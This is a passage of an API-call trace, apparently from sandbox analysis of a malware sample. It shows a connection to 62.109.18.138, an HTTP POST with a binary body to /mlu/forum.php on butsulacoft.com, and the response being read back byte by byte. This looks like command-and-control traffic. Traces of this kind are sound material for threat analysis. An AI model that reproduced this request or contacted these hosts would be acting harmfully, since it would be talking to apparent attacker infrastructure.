h_addrtype=2, h_length=4, h_addr_list=0x27042c*=([0]="62.109.18.138")) [0055.100] connect (s=0x3e0, name=0xefd00*(sa_family=2, sin_port=0x50, sin_addr="62.109.18.138"), namelen=16) returned 0 [0055.205] setsockopt (s=0x3e0, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0055.205] lstrlenA (lpString="POST /mlu/forum.php HTTP/1.0\r\nHost: butsulacoft.com\r\nAccept: */*\r\nAccept-Encoding: identity, *;q=0\r\nAccept-Language: en-US\r\nContent-Length: 279\r\nContent-Type: application/octet-stream\r\nConnection: close\r\nContent-Encoding: binary\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\r\n\r\n") returned 436 [0055.205] send (in: s=0x3e0, buf=0x94137d8*, len=436, flags=0 | out: buf=0x94137d8*) returned 436 [0055.205] send (in: s=0x3e0, buf=0x72f5b0*, len=279, flags=0 | out: buf=0x72f5b0*) returned 279 [0055.205] LocalAlloc (uFlags=0x40, uBytes=0x7d80) returned 0x94158e8 [0055.206] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xefd04 | out: ppstm=0xefd04*=0x76e560) returned 0x0 [0055.206] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.485] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.485] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.485] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.485] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.485] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.485] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.486] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.486] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.486] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.486] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.486] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.486] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.486] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.486] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.486] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.486] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.487] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.487] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.487] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.487] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.487] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.487] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.487] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.487] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.487] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.487] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.488] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.488] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.488] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.488] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.488] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.488] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.488] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.488] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.488] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.488] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.489] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.489] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.489] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.489] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.489] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.489] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.489] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.489] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.489] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.489] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.490] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.490] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.490] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.490] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.490] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.490] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.490] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.490] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.490] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.490] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.490] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.491] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.491] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.491] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.491] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.491] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.491] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.491] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.491] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.491] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.492] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.492] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.492] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.492] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0055.492] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.492] IStream:LockRegion (This=0x76e560, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0055.492] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.492] IStream:LockRegion (This=0x76e560, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0055.492] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.492] IStream:LockRegion (This=0x76e560, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0055.492] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.492] IStream:LockRegion (This=0x76e560, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0055.492] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.492] IStream:LockRegion (This=0x76e560, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0055.492] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.492] IStream:LockRegion (This=0x76e560, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0055.492] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.493] IStream:LockRegion (This=0x76e560, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0055.493] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.493] IStream:LockRegion (This=0x76e560, libOffset=0x8, cb=0x0, dwLockType=0x0) returned 0x0 [0055.493] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.493] IStream:LockRegion (This=0x76e560, libOffset=0x9, cb=0x0, dwLockType=0x0) returned 0x0 [0055.493] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.493] IStream:LockRegion (This=0x76e560, libOffset=0xa, cb=0x0, dwLockType=0x0) returned 0x0 [0055.493] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.493] IStream:LockRegion (This=0x76e560, libOffset=0xb, cb=0x0, dwLockType=0x0) returned 0x0 [0055.493] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.493] IStream:LockRegion (This=0x76e560, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0055.493] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.493] IStream:LockRegion (This=0x76e560, libOffset=0xd, cb=0x0, dwLockType=0x0) returned 0x0 [0055.493] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.493] IStream:LockRegion (This=0x76e560, libOffset=0xe, cb=0x0, dwLockType=0x0) returned 0x0 [0055.493] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.493] IStream:LockRegion (This=0x76e560, libOffset=0xf, cb=0x0, dwLockType=0x0) returned 0x0 [0055.494] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.494] IStream:LockRegion (This=0x76e560, libOffset=0x10, cb=0x0, dwLockType=0x0) returned 0x0 [0055.494] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.494] IStream:LockRegion (This=0x76e560, libOffset=0x11, cb=0x0, dwLockType=0x0) returned 0x0 [0055.494] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.494] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.494] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.494] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.494] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.494] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.494] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.494] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.495] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.495] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.495] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.495] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.495] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.495] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.495] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.495] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.495] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.495] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.495] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.496] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.496] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.496] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.496] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.496] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.496] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.496] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.496] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.496] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.497] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.497] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.497] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.497] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.497] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.497] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.497] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.497] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.497] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.497] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.498] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.498] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.498] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.498] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.498] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.498] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.498] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.498] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.498] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.498] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.499] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.499] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.499] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.499] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.499] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.499] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.499] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.499] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.499] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.499] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.499] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.500] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.500] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.500] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.500] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.500] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.500] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.500] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.500] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.500] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.501] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.501] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.501] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.501] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.501] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.501] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.501] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.501] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.501] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.501] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.501] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.502] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.502] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.502] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.502] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.502] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.502] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.502] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.502] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.502] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.503] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.503] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.503] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.503] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0055.503] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.503] IStream:LockRegion (This=0x76e560, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0055.503] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.503] IStream:LockRegion (This=0x76e560, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0055.503] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.503] IStream:LockRegion (This=0x76e560, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0055.503] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.503] IStream:LockRegion (This=0x76e560, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0055.503] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.503] IStream:LockRegion (This=0x76e560, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0055.503] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.503] IStream:LockRegion (This=0x76e560, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0055.503] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.503] IStream:LockRegion (This=0x76e560, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0055.504] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.504] IStream:LockRegion (This=0x76e560, libOffset=0x8, cb=0x0, dwLockType=0x0) returned 0x0 [0055.504] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.504] IStream:LockRegion (This=0x76e560, libOffset=0x9, cb=0x0, dwLockType=0x0) returned 0x0 [0055.504] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.504] IStream:LockRegion (This=0x76e560, libOffset=0xa, cb=0x0, dwLockType=0x0) returned 0x0 [0055.504] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.504] IStream:LockRegion (This=0x76e560, libOffset=0xb, cb=0x0, dwLockType=0x0) returned 0x0 [0055.504] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.504] IStream:LockRegion (This=0x76e560, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0055.504] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.504] IStream:LockRegion (This=0x76e560, libOffset=0xd, cb=0x0, dwLockType=0x0) returned 0x0 [0055.504] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.504] IStream:LockRegion (This=0x76e560, libOffset=0xe, cb=0x0, dwLockType=0x0) returned 0x0 [0055.504] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.504] IStream:LockRegion (This=0x76e560, libOffset=0xf, cb=0x0, dwLockType=0x0) returned 0x0 [0055.504] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.505] IStream:LockRegion (This=0x76e560, libOffset=0x10, cb=0x0, dwLockType=0x0) returned 0x0 [0055.505] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.505] IStream:LockRegion (This=0x76e560, libOffset=0x11, cb=0x0, dwLockType=0x0) returned 0x0 [0055.505] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.505] IStream:LockRegion (This=0x76e560, libOffset=0x12, cb=0x0, dwLockType=0x0) returned 0x0 [0055.505] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.505] IStream:LockRegion (This=0x76e560, libOffset=0x13, cb=0x0, dwLockType=0x0) returned 0x0 [0055.505] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.505] IStream:LockRegion (This=0x76e560, libOffset=0x14, cb=0x0, dwLockType=0x0) returned 0x0 [0055.505] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.505] IStream:LockRegion (This=0x76e560, libOffset=0x15, cb=0x0, dwLockType=0x0) returned 0x0 [0055.505] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.505] IStream:LockRegion (This=0x76e560, libOffset=0x16, cb=0x0, dwLockType=0x0) returned 0x0 [0055.505] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.505] IStream:LockRegion (This=0x76e560, libOffset=0x17, cb=0x0, dwLockType=0x0) returned 0x0 [0055.505] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.505] IStream:LockRegion (This=0x76e560, libOffset=0x18, cb=0x0, dwLockType=0x0) returned 0x0 [0055.505] IStream:SetSize (This=0x76e560, libNewSize=0xefcec) returned 0x0 [0055.506] IStream:LockRegion (This=0x76e560, 